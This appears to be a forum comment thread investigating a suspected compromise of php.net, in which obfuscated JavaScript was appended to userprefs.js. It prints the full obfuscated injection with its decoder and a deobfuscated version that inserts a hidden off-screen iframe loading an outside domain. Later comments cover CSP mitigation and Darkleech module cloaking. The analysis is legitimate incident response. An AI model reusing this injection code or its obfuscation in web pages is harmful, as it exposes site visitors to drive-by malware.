It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: https://github.com/php/web-php/commits/master/userprefs.js) bit it does include another file (https://github.com/php/web-php/commits/master/functions.js) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?

1) When I go to static userprefs.js on my mobile, no obfuscated contents.

2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.

3) When i browse to static userprefs.js on normal mode I get the following js appended:

    (function (MH) {
        var aS = "\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u>\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH"+
                 "mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\"1N'v\x0b-,H8"+
                 "ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S>:sU\x1e:2#\x13MQ\x1c<\x20\x02)\x0eSTBlf\x05?62:`In\x17T&\x0c\"\x1e7Y\x01X@\x00/.q\x12\"\x08f#"+
                 "\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1>:rXy\x0evb\x0d,q\x16\x06j\x025U\"cX\x15y|<2W~\x16\x032-T\x15\x17\\\\q\x01\x03"+
                 "\x09g\x00/.q\x12\"\x08f^\x1as$\x13f\x0e\x20i\x08Ur&H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\"Yc-&}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\"]"+
                 "\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\"*@\x1e:Rr1<\x00xx\x13&9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)"+
                 "\x7f*q\x19\x1f\x11v\"*@t9F`k.\x15rf\x0cb[6|\"g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U"+
                 "r&H`|x\x15`!D\x18<\x11p^\x1apr<:r6\x1c\\2\x14\x1c\x18s\x18\"\x0b*Wr\"l\x02~dF\x16h<:s`\x1c\\7B\x1c\x18rC<i~U@#\x18XucDs\x14M%\x1ezp\x11:"+
                 "\x12\x1c\x18s\x144^w=x<tA!]>:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\"*@!\x1eB\x1e:0px\\\x06i=nT=y6.\x14ht\x0ct.R\x1fy\x14\x19q_}"+
                 "\x0ct\x7fr=\x7fZ[@]2y\x19\x1fA\x1f2?\x1fj\x13\x19s_i\x0d[E\x1bS\x1f};V]0y\x1f&{p_?\x7f0;q\x1f9hP[\x15\x1d]jT[\x12[?^\x1f&{t_?\x19#;r\x1f"+
                 "_hW[\x14\x1dIk{ay5_ym\x1fA\x1f3?\x1f\x7f\x14\x19s_\x1bE[\x16\x1d=\x7fR[\x16[9P\x1fu}\x1fc9u\x1f=\x7f0Ypy;P\x1bQ\x1f{ay>_yy6{u_Y6\x19Q\x1f"+
                 "\x19c\x1b\x1d]y}\x12\x19\x12]\x19.*P\x1fp}yx9\x20\x19P\x1f\x1fY!\x7f5y\x1dH1{0\x7f/+\x7f>\x1fA\x1f4?\x1f\x19\x02\x19s_\x1d\x0cz\x7f!;t}]"+
                 "ydY\x16\x19\x19\x08m(\x16\x19v=\x19\x20Ysy]\x0d\x1dI\x19A[\x16[_\x0c0\x1f\x10\x19+9#\x19T\x1f\x1f*4\x7f2yi[?\x09;zo?\x0c\"1N'v\x0b-,H\x10"+
                 "\x0cui_gR&H\x10nw\x0b=fA(!T!\"\x12\x14\x0a[&'n%Pe\x04\x156$\x1bdGjgP!dx-9\x06'.\x056'\"'Rf\x1f$\x05.EtG&Zg\x7f9\x09\x7fk\x04j\x10.5\x19W"+
                 "\x16B(\x06v\x1dqq}s8^\\up\x02m_9\x17\x14\x06j`^8\x160Sq\x20+G$~~2\x15b\x01\x02m__\x7f\x176$j\x20qY=p<1f|x\x123\x20\x0dm?x-*0\x0c5I?'n3A"+
                 "{M&H\x10nwySTBlf\x1326\x03$\x13^\x1e:3txx\x15%)!fsNW$\x06m\x19\x09?P,5\x195\x14$*b\x17v\x10!\x06\x13\x1e\\Z76x<uE\x0da$1.1d`+\x1d\x0cUr&H`"+
                 "|x\x130_x<uD#^\x1au$:f\x1ezp\x11<p\x1c<\x1fWfs6\x20\x0dh\"U*a\x16+-\x0ejky\x18M(v\x0e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05"+
                 "\x13\x1e|\\Z77x<u\x16sL\x06`k=j\x17T&\x0c\"\x19<\\\x09QP\x00/.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[",
            Z7 = ["\x73\x70\x6c\x69\x74", XC = 0x09 * 17, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],
            Jm = "\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC",
            jS = aS["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, Jm[Z7[2]]);
        UVf = function (wD) {
            var Np, uK, Ugx = uK = "",
                DUB = 0;
            wD = wD[Z7[0]](Ugx);
            for (Np in wD) {
                if (wD[Z7[3]](Np)) {
                    uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
                    DUB++;
                }
            }
            return (uK);
        };
        jS = UVf(Jm);
        MH[UVf("'t!H")](UVf(aS[UVf("1w\"WtV)\x0e%")](Jm[UVf(".g.CtL")])))
    })(window, pVH = function (g6D, FFl, LyS, mnT) {
        g6D = g6D[LyS = "\x63" + (mnT = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0);
        return (String["\x66\x72\x6f\x6d\x43" + mnT](g6D & XC | ((g6D & (~XC & 0xff)) ^ (FFl[LyS](0) & (~XC & 0xff)))))
    });

4) When I control F5 the page to refresh, obfuscated contents are gone.

So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.

This code deobfuscates basically to

        tmp3 = (tmp2 = document.createElement('iframe')).style;
        tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
        tmp1 = (tmp0 = document.createElement('div')).style;
        tmp1.width = tmp1.height = '-10000px';
        tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
        tmp4 = document.getElementsByTagName('div');
        tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

Wrapped into onload.

I really love that part where a random div is selected for inserting the iframe...

If there is one. Could be a little more robust :)

Obviously the hackers have a thing about non-semantic markup :-)

(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)

Would CSP solve this issue? Looks like we could try restricting iframe-src?

But if they are able to hack into the server, I supposed there is nothing to do then...

If php.net used CSP, they would have been able to mitigate this attack with the frame-src directive [1].

[1] http://www.w3.org/TR/CSP/#frame-src

If they are able to hack the physical box (I assume this is how they did the injection), then it is possible for them to modify the CSP rule too.

If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.

From my experience are these contents only provided once per IP and then you're getting filtered to not get any content again, to prevent 'easy' detection of this.

You simply get blacklisted after the first serving

I've seen this sort of thing from the Darkleech apache module[1]. It also won't show the malicious Javascript to any IP that appears in the `last` log. It looks like php.net uses Apache too[2]. The easiest way I've seen to find the module (they come with a variety of names) is to do something like

  strings /path/to/modules/* | grep -i blacklist

[1] http://malwaremustdie.blogspot.com/2013/03/the-evil-came-bac...

[2] http://builtwith.com/php.net

Yeah, I ran across malware once that only injected JS for visitors from certain referrers, such as Google search. I believe the intention was so that when someone would tell me, "Hey, you have a bunch of weird links on your site" I would go to it directly and not see a problem. IIRC the .htaccess had been modified.

What a mess. I hope running Chrome via EMET is enough to keep my machine safe.

I've noticed that hacks have gone up recently in my little part of cyberspace. Things like Cryptolocker are so profitable that its motivating a lot of talented guys to get into malware and hack servers. Usually servers running some unpatched CMS or module.

Found some more interesting stuff into the rabbit hole:

http://pastebin.com/w8RLk3iq

This is very interesting. Thanks for the code.

The obfuscated code in functions.js in the git repo is very strange, too... What did it do and why was it obfuscated? https://github.com/php/web-php/commit/06a06b561aa2fcf22ce52b...

It's a quick ref of functions for an autocomplete list.

If you have this in your html as the only form:

  <form>
    <input type="text" id="pattern"/>
    <input type="text" id="show" value="quickref" />
  </form>
  <script>
    document.forms[0].pattern = document.getElementById('pattern');
    document.forms[0].show = document.getElementById('show');
  </script>

then include the functions js you will see an autocomplete list of functions when you type into the pattern box. The lists of function names are stored in a compressed string at the top so it's not really obfuscated, just minified. They shouldn't store it minified though.

That's so weird. Why wouldn't they just use HTTP GZip.

Not for me. Both urls have exactly the same content, and nothing suspicious.

Could this be a DNS issue, with a different server serving the bad .js file?

My IP for static.php.net is 69.147.83.201.

Maybe you already visited the site once and received the payload previously?

Both files appear identical to me. Which is odd, since there is only 1 CNAME to an address with 1 A record. Perhaps your version of static.php.net is cached by your ISP?

Even with only one public facing address there could be more than one server handling the content. It could be that only one had a bad file, or they all did but that one is yet to be cleaned. Or, as you say, the bad file could be cached at the ISP level (if this was only affected one ISP, whcih obviously it didn't, it could even have been injected at the point rather than at php.net's resources).